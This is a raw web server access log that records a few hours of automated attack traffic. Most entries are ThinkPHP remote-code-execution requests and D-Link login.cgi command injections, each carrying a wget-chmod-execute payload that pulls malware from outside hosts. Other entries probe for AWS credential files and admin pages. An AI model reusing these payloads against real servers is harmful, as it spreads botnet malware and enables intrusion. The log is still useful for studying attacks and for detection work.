42.119.174.186 - - [02/Feb/2020:01:52:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.187.165.174 - - [02/Feb/2020:01:52:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.187.165.174 - - [02/Feb/2020:01:52:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.236.76.95 - - [02/Feb/2020:01:52:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.187.165.174 - - [02/Feb/2020:01:54:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.187.165.174 - - [02/Feb/2020:01:55:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.18.25.102 - - [02/Feb/2020:01:55:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.129.227 - - [02/Feb/2020:01:59:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [02/Feb/2020:01:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
181.129.210.244 - - [02/Feb/2020:01:59:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.112.144 - - [02/Feb/2020:02:02:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.210.31.47 - - [02/Feb/2020:02:05:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
112.9.164.99 - - [02/Feb/2020:02:06:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.216 - - [02/Feb/2020:02:06:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.50.26.116 - - [02/Feb/2020:02:07:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.224.172 - - [02/Feb/2020:02:07:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.42.181.0 - - [02/Feb/2020:02:12:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.187.173.209 - - [02/Feb/2020:02:12:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.213 - - [02/Feb/2020:02:13:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.70.146 - - [02/Feb/2020:02:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.18.121.219 - - [02/Feb/2020:02:18:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.253.59.167 - - [02/Feb/2020:02:22:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.40.241.103 - - [02/Feb/2020:02:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
45.40.241.103 - - [02/Feb/2020:02:24:39 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
45.40.241.103 - - [02/Feb/2020:02:24:39 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
1.54.168.15 - - [02/Feb/2020:02:26:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.151.157.149 - - [02/Feb/2020:02:27:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:02:28:13 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.173.175.231 - - [02/Feb/2020:02:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:02:29:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:02:30:35 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
84.214.110.29 - - [02/Feb/2020:02:31:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.151.157.149 - - [02/Feb/2020:02:33:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:02:33:27 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:02:33:44 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
14.132.64.49 - - [02/Feb/2020:02:35:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.52.13.226 - - [02/Feb/2020:02:36:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:02:36:58 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:02:37:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
1.53.86.42 - - [02/Feb/2020:02:40:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.13.101 - - [02/Feb/2020:02:41:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.145.66 - - [02/Feb/2020:02:41:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.70.146 - - [02/Feb/2020:02:41:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.202.160 - - [02/Feb/2020:02:43:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.188.248 - - [02/Feb/2020:02:44:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.0.192.93 - - [02/Feb/2020:02:44:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.146.76 - - [02/Feb/2020:02:45:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.196.153 - - [02/Feb/2020:02:46:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.17.242.194 - - [02/Feb/2020:02:46:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.136.192.151 - - [02/Feb/2020:02:46:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.2.132.125 - - [02/Feb/2020:02:50:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.52.17.46 - - [02/Feb/2020:02:50:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [02/Feb/2020:02:53:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
118.69.141.50 - - [02/Feb/2020:02:54:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.26.163.153 - - [02/Feb/2020:02:57:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.26.163.153 - - [02/Feb/2020:02:57:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.216.57.161 - - [02/Feb/2020:02:59:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.139.217 - - [02/Feb/2020:03:00:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [02/Feb/2020:03:01:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.117.86.178 - - [02/Feb/2020:03:03:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
154.202.13.17 - - [02/Feb/2020:03:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
154.202.13.17 - - [02/Feb/2020:03:03:49 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
154.202.13.17 - - [02/Feb/2020:03:03:50 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
95.58.20.223 - - [02/Feb/2020:03:05:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.2.132.125 - - [02/Feb/2020:03:05:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
77.234.14.59 - - [02/Feb/2020:03:06:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
94.81.7.43 - - [02/Feb/2020:03:07:37 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
185.42.195.86 - - [02/Feb/2020:03:10:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.185.105.50 - - [02/Feb/2020:03:13:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [02/Feb/2020:03:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [02/Feb/2020:03:14:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [02/Feb/2020:03:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.15.93.131 - - [02/Feb/2020:03:15:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.119.74.129 - - [02/Feb/2020:03:15:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [02/Feb/2020:03:16:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
35.236.255.55 - - [02/Feb/2020:03:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36"
185.144.120.196 - - [02/Feb/2020:03:18:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.138.131 - - [02/Feb/2020:03:19:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [02/Feb/2020:03:19:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
81.224.95.74 - - [02/Feb/2020:03:21:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
193.57.40.38 - - [02/Feb/2020:03:23:17 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.117.140.79 - - [02/Feb/2020:03:23:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [02/Feb/2020:03:23:59 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:03:23:59 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:03:23:59 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:03:23:59 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:03:24:00 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:03:24:00 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
193.57.40.38 - - [02/Feb/2020:03:25:03 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:03:25:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
54.93.252.97 - - [02/Feb/2020:03:26:31 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
1.52.191.198 - - [02/Feb/2020:03:28:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.46.119 - - [02/Feb/2020:03:28:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:03:28:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:03:28:59 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.114.25.34 - - [02/Feb/2020:03:30:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.220.75.34 - - [02/Feb/2020:03:30:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:03:32:22 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:03:32:27 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
